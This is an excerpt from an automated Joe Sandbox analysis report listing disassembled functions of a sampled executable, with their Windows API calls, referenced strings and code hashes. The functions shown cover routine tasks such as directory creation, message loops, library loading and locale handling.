Part of subcall function 0032C324: GetTokenInformation.KERNELBASE(0032BF14,00000001(TokenIntegrityLevel),00000000,?,?,?,?,?,?,?,0032BF14,?), ref: 0032C382
Part of subcall function 0032C324: CopySid.ADVAPI32(00000044,0032BF14,00000000,?,?,?,?,?,0032BF14,?), ref: 0032C393

SetEntriesInAclW.ADVAPI32(00000001,11060000,00000000,?,?,?,?), ref: 0032BF56
InitializeSecurityDescriptor.ADVAPI32(?,00000001,?,?,?), ref: 0032BF65
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000,?,?,?), ref: 0032BF78
CreateDirectoryW.KERNELBASE(?,0000000C,?,?,?), ref: 0032BF99
LocalFree.KERNEL32(?,?,?,?), ref: 0032BFA7

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: Token$DescriptorInformationProcessSecurity$CopyCreateCurrentDaclDirectoryEntriesErrorFreeInitializeLastLocalOpen
String ID:
API String ID: 2740647886-0
Opcode ID: f839eff8340fb6f17e31c9ba7cbd132d0653634cd6495ed8cdd2c73671a841d2
Instruction ID: d62820035e42fc0c091c18deba4a7d177fef769c6ca440f1fcb11894203ac2c1
Opcode Fuzzy Hash: f839eff8340fb6f17e31c9ba7cbd132d0653634cd6495ed8cdd2c73671a841d2
Instruction Fuzzy Hash: 3121B4B5C00228EADB11CFA5ED44ADEFBBCFF45740F10406AE905E2210DB749A45DFA0

Uniqueness

Uniqueness Score: -1.00%

Function 0032C758 Relevance: 7.5, APIs: 5, Instructions: 38
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 0032C769
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0032C77A
IsDialogMessageW.USER32(00020486,?), ref: 0032C78E
TranslateMessage.USER32(?), ref: 0032C79C
DispatchMessageW.USER32(?), ref: 0032C7A6

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: Message$DialogDispatchPeekTranslate
String ID:
API String ID: 1266772231-0
Opcode ID: e9c86e0e3cd4e1ce0a951f2465189349c70236ab841b02f6538cdbd74a0c1344
Instruction ID: 0399e7e300c40b1f6d14f0bdea48325bd9da5424a845743438557886a6d0e9c1
Opcode Fuzzy Hash: e9c86e0e3cd4e1ce0a951f2465189349c70236ab841b02f6538cdbd74a0c1344
Instruction Fuzzy Hash: 51F0DA71D0162AAB8B35ABF6EC4CDEF7FACEE05391B408415B50AD2050E7A4D546CBF0

Uniqueness

Uniqueness Score: -1.00%

Function 0032BBC0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000050), ref: 0032BBD7
SHAutoComplete.SHLWAPI(?,00000010), ref: 0032BC0E

Part of subcall function 00323316: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00013316,0031D523,00000000,.exe,?,?,00000800,?,?,?,00329E5C), ref: 0032332C

FindWindowExW.USER32(?,00000000,EDIT,00000000), ref: 0032BBFE

Strings

EDIT, xrefs: 0032BBE2, 0032BBED, 0032BBFA

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: AutoClassCompareCompleteFindNameStringWindow
String ID: EDIT
API String ID: 4243998846-3080729518
Opcode ID: 563764ff737bd647dd48c6ccd46afa47116bfb77ed025cf25567e80809f57741
Instruction ID: d2e76b822df78e03187a8e0e34f5e800cfb134580014016b8c15408e1ed7e19c
Opcode Fuzzy Hash: 563764ff737bd647dd48c6ccd46afa47116bfb77ed025cf25567e80809f57741
Instruction Fuzzy Hash: A1F0A732A00738BBDB325665AC05F9FB76CAF46B40F450021FA44F61C0DBA4EA4185F5

Uniqueness

Uniqueness Score: -1.00%

Function 00334DA2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,00000800,?,00334D53,00000000,?,003740C4,?,?,?,00334EF6,00000004,InitializeCriticalSectionEx,00347424,InitializeCriticalSectionEx), ref: 00334DAF
GetLastError.KERNEL32(?,00334D53,00000000,?,003740C4,?,?,?,00334EF6,00000004,InitializeCriticalSectionEx,00347424,InitializeCriticalSectionEx,00000000,?,00334CAD), ref: 00334DB9
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00334DE1

Strings

api-ms-, xrefs: 00334DC6

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: d367e67933465b1a1e88ffe0414af6edc12ccd30e7d81fd14dd6ef6f14d2ca61
Instruction ID: e56cf37035b78491056faf846e457241b46482caec8c4a62b93071769498cc37
Opcode Fuzzy Hash: d367e67933465b1a1e88ffe0414af6edc12ccd30e7d81fd14dd6ef6f14d2ca61
Instruction Fuzzy Hash: 95E04F3C284204BBEF221F61EC86B593F98AB01B51F110430FA0DAC0F1DBA1B9909984

Uniqueness

Uniqueness Score: -1.00%

Function 0031A9E5 Relevance: 6.1, APIs: 4, Instructions: 56fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 0031A9F5
ReadFile.KERNELBASE(?,?,?,?,00000000), ref: 0031AA0D
GetLastError.KERNEL32 ref: 0031AA3F
GetLastError.KERNEL32 ref: 0031AA5E

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: fdd24095daf3c524201e0abd43d157cc1cbf4fa28a7cef648b5ee9ea1c367ff2
Instruction ID: fe639259797d8423fe97342ccd6555ae481a1e8f4ccb59880ca97108f24aaa6e
Opcode Fuzzy Hash: fdd24095daf3c524201e0abd43d157cc1cbf4fa28a7cef648b5ee9ea1c367ff2
Instruction Fuzzy Hash: 1E110634901A04EBCF2B5F60D9006FA37ADBF09323F114626F51685190C7749EC0CB53

Uniqueness

Uniqueness Score: -1.00%

Function 0033BEF4 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,00000800,00335281,00000000,00000000,?,0033BE9B,00335281,00000000,00000000,00000000,?,0033C098,00000006,FlsSetValue), ref: 0033BF26
GetLastError.KERNEL32(?,0033BE9B,00335281,00000000,00000000,00000000,?,0033C098,00000006,FlsSetValue,00348A00,FlsSetValue,00000000,00000364,?,0033A5E7), ref: 0033BF32
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,0033BE9B,00335281,00000000,00000000,00000000,?,0033C098,00000006,FlsSetValue,00348A00,FlsSetValue,00000000), ref: 0033BF40

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: a1e2f87f9d66ae2c60693972ac0b843fe8eb20391b40543a2d3b51bd3cdb7c1a
Instruction ID: 4743eff89ac263b4be251209957720d026b59a0a0b4c5e60f6e65be9f7d8fd9b
Opcode Fuzzy Hash: a1e2f87f9d66ae2c60693972ac0b843fe8eb20391b40543a2d3b51bd3cdb7c1a
Instruction Fuzzy Hash: 6E01AC366152269BC7234B69AC84B57F79CAF05B61F161620FB1AD7150DB20E800CEE0

Uniqueness

Uniqueness Score: -1.00%

Function 0032069C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 00320627: GetProcAddress.KERNELBASE(00000000,CryptProtectMemory), ref: 00320646
Part of subcall function 00320627: GetProcAddress.KERNEL32(0035A1F0,CryptUnprotectMemory), ref: 00320656

GetCurrentProcessId.KERNEL32(?,00000200,?,00320697), ref: 0032072A

Strings

CryptProtectMemory failed, xrefs: 003206E1
CryptUnprotectMemory failed, xrefs: 00320722

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: AddressProc$CurrentProcess
String ID: CryptProtectMemory failed$CryptUnprotectMemory failed
API String ID: 2190909847-396321323
Opcode ID: 8d256b5bd6dab5b911c770741e4c3cb715b2bebcf4869b16a2cf193cbece9af3
Instruction ID: 97592a307b4124cf71c69ed55b1e48f970c22fe13aa272e6c5a861ef538ba6bc
Opcode Fuzzy Hash: 8d256b5bd6dab5b911c770741e4c3cb715b2bebcf4869b16a2cf193cbece9af3
Instruction Fuzzy Hash: 98110631900A74ABDB1B9B34AC41A6E3B68EF44764F064115FC416F2A3DA30AD958AE5

Uniqueness

Uniqueness Score: -1.00%

Function 0031F968 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

LoadStringW.USER32(?,?,00000200,?), ref: 0031F998
LoadStringW.USER32(?,?,00000200), ref: 0031F9AF

Strings

p05, xrefs: 0031F976

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: LoadString
String ID: p05
API String ID: 2948472770-574964626
Opcode ID: 641f72646a65934c8698f8d2a435450a613063379e775ea4e0d6a4e31bcd2a13
Instruction ID: d9a21be734be5bc321b723bcd36d94a0d6f031fdb9dca9ad2eefc778add6ad78
Opcode Fuzzy Hash: 641f72646a65934c8698f8d2a435450a613063379e775ea4e0d6a4e31bcd2a13
Instruction Fuzzy Hash: EFF07436100219BBDF165F55EC04DEB7F6EFF49392B404425FD0996130D63289A0EBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0031B20A Relevance: 4.6, APIs: 3, Instructions: 111fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,?,?,?,?,0031E79B,00000001,?,?,?,00000000,003266C2,?,?,?), ref: 0031B22E
WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,00000000,003266C2,?,?,?,?,?,00326184,?), ref: 0031B275
WriteFile.KERNELBASE(0000001D,?,?,?,00000000,?,00000001,?,?,?,?,0031E79B,00000001,?,?), ref: 0031B2A1

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: FileWrite$Handle
String ID:
API String ID: 4209713984-0
Opcode ID: bb57019a59c9042a4a234506a0e1ad6c73b66cba400d3c63c034e3d2d1ac4d95
Instruction ID: 9c8375d25c96f61f99b7bdda50e71b756ec58ba9b39888a22607d190eb1de37c
Opcode Fuzzy Hash: bb57019a59c9042a4a234506a0e1ad6c73b66cba400d3c63c034e3d2d1ac4d95
Instruction Fuzzy Hash: C831F7352043059FDB0ACF10D808BEEB7A9FB89715F05091DF9915B290CB74AD8DCBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0031B542 Relevance: 4.6, APIs: 3, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 0031D68B: _wcslen.LIBCMT ref: 0031D691

CreateDirectoryW.KERNELBASE(?,00000000,?,?,?,0031B405,?,00000001,00000000,?,?), ref: 0031B569
CreateDirectoryW.KERNEL32(?,00000000,?,?,00000800,?,?,?,?,0031B405,?,00000001,00000000,?,?), ref: 0031B59C
GetLastError.KERNEL32(?,?,?,?,0031B405,?,00000001,00000000,?,?), ref: 0031B5B9

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: CreateDirectory$ErrorLast_wcslen
String ID:
API String ID: 2260680371-0
Opcode ID: 258fa9f7134baa7b1dae2d76c37b7b49fd8f90f4e31621a043c4cb12a107cdd8
Instruction ID: ca31820b05c929453e954263bbaa4f8433fb7fdfef4d0974970f2b73479813d8
Opcode Fuzzy Hash: 258fa9f7134baa7b1dae2d76c37b7b49fd8f90f4e31621a043c4cb12a107cdd8
Instruction Fuzzy Hash: 0601D4352042206AEF2BAB719C45BEEB25E9F0F784F050424F902EA081DB64DAC1C7B1

Uniqueness

Uniqueness Score: -1.00%

Function 0033CA53 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(5EFC4D8B,?,00000005,?,00000000), ref: 0033CA78

Strings

, xrefs: 0033CABD

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-3916222277
Opcode ID: 76fdf839c9c10d49842a79c92deecfdbf7f8d35d07b475253131d810a84b6ae6
Instruction ID: 696ac8cda5b1bde5dd7da58699f474ac36eaace993ab4cbaa165eade30ba97c7
Opcode Fuzzy Hash: 76fdf839c9c10d49842a79c92deecfdbf7f8d35d07b475253131d810a84b6ae6
Instruction Fuzzy Hash: 984114B150428C9EDF238E68CCC5AFAFBBDEB45304F1408EDE58A96142D235AE45DF20

Uniqueness

Uniqueness Score: -1.00%

Function 0033C12C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,62E85006,00000001,?,?), ref: 0033C19D

Strings

LCMapStringEx, xrefs: 0033C13D, 0033C147

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: String
String ID: LCMapStringEx
API String ID: 2568140703-3893581201
Opcode ID: 7a65ce6df41e242974f5f5a0bf91f97efd78d51d88a80e65d651d69c85b480d9
Instruction ID: 038399d144082c18ab1efe1e10c0ec531ad00022ce9598732f77c1d4865f78e0
Opcode Fuzzy Hash: 7a65ce6df41e242974f5f5a0bf91f97efd78d51d88a80e65d651d69c85b480d9
Instruction Fuzzy Hash: 4601D33654120DBBCF039F90DC01DEE7FA6EB08750F055515FE1829161CB729971AB80

Uniqueness

Uniqueness Score: -1.00%

Function 0033C0CA Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,0033B72F), ref: 0033C115

Strings

InitializeCriticalSectionEx, xrefs: 0033C0DB, 0033C0E5

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: InitializeCriticalSectionEx
API String ID: 2593887523-3084827643
Opcode ID: 39c9f900a5c5e9aa03e22ab1a06d3ac756fed4fa659741809b4046fb3d25a906
Instruction ID: 48cb42cd7a9c29b28e210c61f2b39ef75393811c3060c9088bb2803585767f24
Opcode Fuzzy Hash: 39c9f900a5c5e9aa03e22ab1a06d3ac756fed4fa659741809b4046fb3d25a906
Instruction Fuzzy Hash: 03F0B431A4121CBBCB079F54DC02D9E7FA5DB18750F004025FD092E161CF726910AB80

Uniqueness

Uniqueness Score: -1.00%

Function 0033BF6F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 0033BFAE

Strings

FlsAlloc, xrefs: 0033BF80, 0033BF8A

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: Alloc
String ID: FlsAlloc
API String ID: 2773662609-671089009
Opcode ID: 272fefb5999941fa3666f71f62d3d8a2d2618900bb767c62c1b05ba72840ca32
Instruction ID: feeac8ecbc1f1cd1a99f7d2ce2f9f879b679594e73f75317e22c99b3d04c5841
Opcode Fuzzy Hash: 272fefb5999941fa3666f71f62d3d8a2d2618900bb767c62c1b05ba72840ca32
Instruction Fuzzy Hash: 81E0EC3164061C7BC6076B549C029BEBBD8CB49B10F010155FD056E250CF717D019AC9

Uniqueness

Uniqueness Score: -1.00%

Function 0032FD58 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0032FD6A

Part of subcall function 0032F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0032FA5C
Part of subcall function 0032F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0032FA6D

Strings

3To, xrefs: 0032FD58, 0032FD64

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: 3To
API String ID: 1269201914-245939750
Opcode ID: 395b4852727089ddb0f886cbc38508716ec9e1b7b9443bf4bbe2b1fb77338ead
Instruction ID: 7f65d6a3e01b3b0f5637229647349275ce86086f4855ce6355eadf516b83271e
Opcode Fuzzy Hash: 395b4852727089ddb0f886cbc38508716ec9e1b7b9443bf4bbe2b1fb77338ead
Instruction Fuzzy Hash: 23B012B52685107D331B21103C13F36012CC4C0B12330C53BF001C844095841C840071

Uniqueness

Uniqueness Score: -1.00%

Function 0033CDB0 Relevance: 3.2, APIs: 2, Instructions: 168COMMON

Download Yara Rule

APIs

Part of subcall function 0033C97B: GetOEMCP.KERNEL32(00000000,?,?,0033CC04,?), ref: 0033C9A6

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,0033CC49,?,00000000), ref: 0033CE24
GetCPInfo.KERNEL32(00000000,0033CC49,?,?,?,0033CC49,?,00000000), ref: 0033CE37

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: ea8084a8e53392b49d5e5e1cc386c39d3a8fc02864ddcd5c00865955df8e12f9
Instruction ID: 1667026f5002ced4cf6e1d09af0cf1483c0e046bce832241e75ed3c096825f01
Opcode Fuzzy Hash: ea8084a8e53392b49d5e5e1cc386c39d3a8fc02864ddcd5c00865955df8e12f9
Instruction Fuzzy Hash: 295154709243059FDB27CF31C8D16BBBBE9EF41300F15906EE096AB262D735A942CB80

Uniqueness

Uniqueness Score: -1.00%

